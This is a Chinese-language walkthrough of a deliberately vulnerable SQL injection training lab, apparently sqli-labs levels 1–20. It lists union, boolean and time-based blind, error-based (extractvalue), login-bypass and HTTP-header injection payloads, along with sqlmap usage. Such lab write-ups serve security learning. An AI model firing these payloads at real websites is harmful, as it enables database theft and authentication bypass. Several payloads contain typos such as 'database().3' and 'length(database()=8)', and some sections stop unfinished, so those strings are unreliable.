pass.1
发现id注入点,尝试联合注入
id=1’ union select 1,database().3 --+或者
id=1’ union select 1,database().3#’
返回
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
跑sqlmap
得知数据库账户密码都为root
pass.2
注入与1相同
pass.3
括号闭合
注意
?id=1’) union select 1,database().3 --+
pass.4
双引号字符型注入
?id=1") union select ,1database(),3 --+
但是也是对的
?id=1’) union select ,1database(),3 --+
pass.5
无报错,有返回,无结果。考虑布尔型盲注、报错型注入、时间延迟型盲注
?id=1’ and sleep(10) --+
时间线判断,时间延迟盲注
跑sqlmap获取数据库名
pass.6
时间盲注依然有延迟返回,虽然没有结果
继续跑sqlmap
拿到当前数据库账户密码
pass.7
string型注入,需要))才能进行闭合
丢sqlmap
pass.8
布尔型单引号盲注
id=1’ and if(substr(database(),1,1)=‘s’,sleep(5),sleep(10)) --+
延迟判断s是正确的数据库开头.
另外一种方法 采用asciall码进行判断
?id=1’ and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+
pass.9
基于时间的单引号盲注
?id=1’ and if(length(database()=8),sleep(5),sleep(10)) --+
有明显延迟
手工继续探测下去取得数据长度,再去每一位字符比较,可得出当前数据库名称
丢sqlmap跑
pass.10
基于时间的双引号盲注
?id=1"%20and%20if(length(database())=9,sleep(1),sleep(10))%20–+
跟9一致。同样的方法
pass.11
是个登录框
admin’ or 1=1#’
123456
注入成功
url没变,判定是post提交
可用sqlmap三种跑post请求方案
1.bp导出包,sqlmap -r 加载文件跑包
2.-forms sqlmap自动判断表单
3.-n 指定post参数
pass.12
还是那个登录框
尝试admin’ or 1=1#‘报错
admin" or 1=1#’
admin") or 1=1#‘闭合成功
pass.13
经过多次尝试,发现没有回显是因为注入成功了
使用’)发现可以合并,但是报错会有回显
报错注入
admin’) and extractvalue(1,concat(0x7e,(select database()))) #’
pass.14
POST单引号变形双注入
pass.15
基于bool型/时间延迟单引号POST型盲注
1’ or 1=1#‘注入成功无回显
admin’ and sleep(10)#'判断时间注入成功
pass.16
基于bool型/时间延迟的双引号POST型盲注
根据题目是使用“)闭合
实际测试
admin") and sleep(10)#并没有延迟或返回结果
pass.17
基于错误的更新查询POST注入
修改账户密码的地方,猜测是update更新查询。
网上查阅了一下,这道题的源码是uname被覆盖,而passwd则并没有,passwd的注入。
如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。magic_quotes_gpc开启时用于在预定义字符(单引号、双引号、斜杠、NULL)前加上反斜杠,
5.4.0 始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中
pass.18-20
全部为http头文件注入
打开发现了本地ip的回显
盲目猜测是http请求头的注入,使用bp抓包
进行对host,user-agent多次尝试失败
网上搜索相关题目
是对user-agent: ‘ databases();的注入
尝试依然失败